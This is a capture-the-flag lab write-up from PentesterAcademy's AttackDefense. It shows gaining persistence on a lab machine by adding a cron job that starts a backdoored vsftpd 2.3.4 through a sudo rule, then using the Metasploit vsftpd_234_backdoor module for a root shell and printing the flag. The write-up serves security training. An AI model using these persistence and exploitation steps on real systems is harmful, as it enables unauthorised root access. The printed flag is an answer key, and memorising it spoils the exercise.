
ATTACK
DEFENSE
by PentesterAcademy

Name	Maintaining access IV
URL	https://www.attackdefense.com/challengedetails?cid=957
Type	Persistence : Maintaining Access

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Objective:

1. Maintain access on the target machine after the credentials are modified. Use the publicly known backdoored FTP server which is installed on the system.
2. Retrieve flag from the target machine.

Solution:

Step 1: Finding the IP address of target machine.

Command: ip addr

```
root@attackdefense:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
6725: eth0@if6726: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:0a:01:01:04 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.1.1.4/24 brd 10.1.1.255 scope global eth0
       valid_lft forever preferred_lft forever
6728: eth1@if6729: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:c0:12:dd:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 192.18.221.2/24 brd 192.18.221.255 scope global eth1
       valid_lft forever preferred_lft forever
root@attackdefense:~#
```

The target machine is at IP 192.18.221.3

Step 2: SSH into the target machine

The SSH login credentials are provided in the challenge description:

- Username: student
- Password: password

Commands:
ssh student@192.18.221.3
Enter password “password”

```
root@attackdefense:~# ssh student@192.18.221.3
The authenticity of host '192.18.221.3 (192.18.221.3)' can't be established.
ECDSA key fingerprint is SHA256:XJKT3cfY7eUyGE+ANUXJUbujx9do/cm94BuQBcOWoho.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.18.221.3' (ECDSA) to the list of known hosts.
student@192.18.221.3's password:
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-50-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

student@victim-1:~$
```

Step 3: Check the running processes.

Command: ps -eaf

```
student@victim-1:~$ ps -eaf
UID        PID  PPID  C STIME TTY          TIME CMD
root         1     0  0 09:56 ?        00:00:00 /bin/bash /start.sh
root         6     1  0 09:56 ?        00:00:00 /bin/sh /usr/bin/intervene/manage.sh
root         7     1  0 09:56 ?        00:00:00 /usr/bin/python /usr/bin/supervisord -n
root        21     1  0 09:56 ?        00:00:00 /usr/sbin/sshd
root        25     1  0 09:56 ?        00:00:00 /usr/sbin/cron
root        65    21  0 09:59 ?        00:00:00 sshd: student [priv]
student     77    65  0 09:59 ?        00:00:00 sshd: student@pts/0
student     78    77  0 09:59 pts/0    00:00:00 -bash
root       100     6  0 10:00 ?        00:00:00 sleep 5
student    101    78  0 10:00 pts/0    00:00:00 ps -eaf
student@victim-1:~$
```

Cron service is running.

Step 4: Check which command student user can execute as root.

Command: sudo -l

```
student@victim-1:~$ sudo -l
Matching Defaults entries for student on victim-1:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User student may run the following commands on victim-1:
    (root) NOPASSWD: /usr/local/sbin/vsftpd
student@victim-1:~$
```

Student user can execute “/usr/local/sbin/vsftpd” as root.

Step 5: Check the vsftpd version

Command: vsftpd -v

```
student@victim-1:~$ vsftpd -v
vsftpd: version 2.3.4
student@victim-1:~$
```

Step 6: Add a user cron job to start the vsftpd server which can later be leveraged to gain access on the target machine.

Commands:
echo "* * * * * sudo /usr/local/sbin/vsftpd" > cron
crontab -i cron
crontab -l

```
student@victim-1:~$ echo "* * * * * sudo /usr/local/sbin/vsftpd" > cron
student@victim-1:~$ crontab -i cron
student@victim-1:~$ crontab -l
* * * * * sudo /usr/local/sbin/vsftpd
student@victim-1:~$
```

Step 7: Delete the wait file.

Command: rm wait

```
student@victim-1:~$ rm wait
student@victim-1:~$ Connection to 192.18.221.3 closed by remote host.
Connection to 192.18.221.3 closed.
root@attackdefense:~#
```

The SSH session is terminated.

Step 8: Perform nmap scan and check whether port 21 is open

Command: nmap -p- 192.18.221.3

```
root@attackdefense:~# nmap -p- 192.18.221.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-04 10:03 UTC
Nmap scan report for 7ph6l45q11oh9wypsswnivfcw.temp-network_a-18-221 (192.18.221.3)
Host is up (0.000011s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
MAC Address: 02:42:C0:12:DD:03 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.54 seconds
root@attackdefense:~#
```

The vsftpd server has started.

Step 9: Search for exploits for the vsftpd server.

Command: searchsploit vsftpd

```
root@attackdefense:~# searchsploit vsftpd
------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                            |  Path
                                                                                          | (/usr/share/exploitdb/)
------------------------------------------------------------------------------------------ ---------------------------------
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption                            | exploits/linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1)                            | exploits/windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2)                            | exploits/windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service                                                          | exploits/linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)                                    | exploits/unix/remote/17491.rb
------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Result
root@attackdefense:~#
```

A metasploit module exists for vsftpd version 2.3.4

Step 10: Use available metasploit module to exploit the vulnerability.

Commands:
msfconsole
search vsftpd
set RHOSTS 192.18.221.3
exploit

```
msf5 > search vsftpd

Matching Modules
================

   Name                                  Disclosure Date  Rank       Check  Description
   ----                                  ---------------  ----       -----  -----------
   exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


msf5 > use exploit/unix/ftp/vsftpd_234_backdoor
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.18.221.3
RHOSTS => 192.18.221.3
msf5 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.18.221.3:21 - Banner: 220 Welcome to AttackDefense target FTP service.
[*] 192.18.221.3:21 - USER: 331 Please specify the password.
[+] 192.18.221.3:21 - Backdoor service has been spawned, handling...
[+] 192.18.221.3:21 - UID: uid=0(root) gid=0(root) groups=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.18.221.2:37345 -> 192.18.221.3:6200) at 2019-06-04 10:07:15 +0000

id
uid=0(root) gid=0(root) groups=0(root)
```

Step 11: Retrieve the flag

Commands:
ls -l
cat flag.txt

```
ls -l
total 8
-rw-rw-r-- 1 student student 38 Jun  4 10:02 cron
-rw-r--r-- 1 root    root    34 Apr 26 14:54 flag.txt
cat flag.txt
656daa99e62c6f1ad27f7d256b15f3d1
```

Flag: 656daa99e62c6f1ad27f7d256b15f3d1

References:

1. VSFTPD (https://security.appspot.com/vsftpd.html)
2. Metasploit Module: VSFTPD v2.3.4 Backdoor Command Execution (https://www.rapid7.com/db/modules/exploit/unix/ftp/vsftpd_234_backdoor)